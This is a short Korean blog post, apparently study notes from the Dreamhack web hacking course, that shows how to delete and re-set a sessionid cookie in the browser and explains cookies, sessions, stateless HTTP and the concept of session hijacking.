sessionid 를 우클릭을 통해 delete하고 새로고침을 하면 웹페이지의 로그인이 풀려 있는 것을 확인 할 수 있습니다.

 

쿠키의 빈 칸을 더블 클릭해 sessionid 헤더를 추가하고, 이전에 복사한 세션 값을 입력하면 브라우저의 쿠키에 세션 값이 설정됩니다. 세션 값을 설정하고 드림핵 페이지를 새로고침하면 로그인이 되는 것을 확인할 수 있습니다.

 

 

쿠키에는 여러분의 세션 정보가 저장되어 있고 서버는 이를 통해 이용자 식별하고 인증을 처리합니다. 공격자가 이용자의 쿠키를 훔칠 수 있으면 세션에 해당하는 이용자의 인증 상태를 훔칠 수 있는데, 이를 세션 하이재킹 (Session Hijacking)이라고 합니다.

 

키워드

  • Connectionless: 하나의 요청에 하나의 응답을 한 후 연결을 종료하는 것을 의미합니다.
  • Stateless: 통신이 끝난 후 상태 정보를 저장하지 않는 것을 의미합니다.
  • 쿠키 (Cookie): HTTP에서 상태를 유지하기 위해 사용하는 Key-Value 형태의 값
  • 세션 (Session): 쿠키에 포함된 Session ID를 사용해 서버에 저장된 세션 데이터에 접근하는 방식
  • 세션 하이재킹 (Session Hijacking): 타 이용자의 쿠키를 훔쳐 인증 정보를 획득하는 공격

 

 

dreamhack web hacking 강의를 기반으로 작성되었습니다.
300x250

+ Recent posts